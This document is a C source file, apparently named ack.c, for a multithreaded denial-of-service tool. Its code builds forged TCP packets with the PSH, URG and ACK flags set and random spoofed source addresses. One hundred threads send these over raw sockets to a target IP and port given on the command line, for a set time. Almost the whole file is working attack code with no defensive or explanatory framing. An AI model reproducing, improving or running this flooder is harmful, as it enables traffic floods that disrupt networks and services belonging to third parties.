ack.c

/* spoofed TCP PSH+URG packet flooder, will hit random ports. */

#include <stdio.h>
#include <stdlib.h>
#include <netinet/tcp.h>
#include <netinet/udp.h>
#include <netinet/ip.h>
#include <pthread.h>
#include <errno.h>
#include <string.h>
#include <sys/socket.h>
#define THREADS 100
typedef struct pthread_param
{
    int argc;
    char **argv;
};
typedef struct pseudo_header
{
    unsigned int source_address;
    unsigned int dest_address;
    unsigned char placeholder;
    unsigned char protocol;
    unsigned short tcp_length;
    struct tcphdr tcp;
};
/* Thanks for unknown author, this saves me some time */
unsigned short csum(unsigned short *ptr,int nbytes) {
    register long sum;
    unsigned short oddbyte;
    register short answer;

    sum=0;
    while(nbytes>1) {
        sum+=*ptr++;
        nbytes-=2;
    }
    if(nbytes==1) {
        oddbyte=0;
        *((u_char*)&oddbyte)=*(u_char*)ptr;
        sum+=oddbyte;
    }
    sum = (sum>>16)+(sum & 0xffff);
    sum = sum + (sum>>16);
    answer=(short)~sum;

    return(answer);
}
int attack(int argc, char *argv[])
{
    int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
    char packet[4096];
    struct iphdr *iph = (struct iphdr *) packet;
    struct tcphdr *tcph = (struct tcphdr *) (packet + sizeof (struct ip));
    struct sockaddr_in sin;
    struct pseudo_header psh;
    char ip[16];
    sin.sin_family = AF_INET;
    sin.sin_port = htons(atoi(argv[2]));
    sin.sin_addr.s_addr = inet_addr (argv[1]);
    sprintf(ip, "%d.%d.%d.%d\n", rand() % 223, rand() % 255, rand() % 255, rand() % 255);
    memset (packet, 0, 4096);
    iph->ihl = 5;
    iph->version = 4;
    iph->tos = 0;
    iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);
    iph->id = rand() % 10000;
    iph->frag_off = 0;
    iph->ttl = rand() % 80;
    iph->protocol = IPPROTO_TCP;
    iph->check = 0;
    iph->saddr = inet_addr(ip);
    iph->daddr = sin.sin_addr.s_addr;
    iph->check = csum ((unsigned short *) packet, iph->tot_len >> 1);
    tcph->source = htons (rand() % 2048);
    tcph->dest = sin.sin_port;
    tcph->seq = 1;
    tcph->ack_seq = 1;
    tcph->doff = 5;
    tcph->fin=0;
    tcph->syn=0;
    tcph->rst=0;
    tcph->psh=1;
    tcph->ack=1;
    tcph->urg=1;
    tcph->window = htons (rand() % 5840);
    tcph->check = 0;/* We fill this in later */
    tcph->urg_ptr = 1;
    psh.source_address = inet_addr(ip);
    psh.dest_address = sin.sin_addr.s_addr;
    psh.placeholder = 0;
    psh.protocol = IPPROTO_TCP;
    psh.tcp_length = htons(20);
    memcpy(&psh.tcp , tcph , sizeof (struct tcphdr));
    tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header));
    int one = 1;
    const int *val = &one;
    int sockop = setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one));
    if (sockop < 0)
    {
        perror ("[x] Error msg: ");
        printf ("[x] Cannot set socket options: %i (are we r00t?)\n", errno);
        exit(-1);
    }
    if (sendto (s, packet, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof (sin)) < 0)
        printf ("[x] Error sending packet\n");
    close(s);
    return 0;
}
void *thread_attack(void *thread_params)
{
    struct pthread_param *params = thread_params;
    while (1)
    attack(params->argc, params->argv);
}
int main (int argc, char *argv[])
{
    int i;
    srand(time(0));
    if (argc != 4)
    {
       printf("Usage: %s <destip> <destport> <time>\n", argv[0]);
       return -1;
    }
    printf("[*] Initializing..\n");
    pthread_t zack_attack[THREADS];
    struct pthread_param params;
    params.argc = argc;
    params.argv = argv;
    for (i = 0; i < THREADS; i++)
    pthread_create( &zack_attack[i], NULL, thread_attack, (void*) &params);
    printf("[*] Attacking..\n");
    sleep(atoi(argv[3]));
    return 0;
}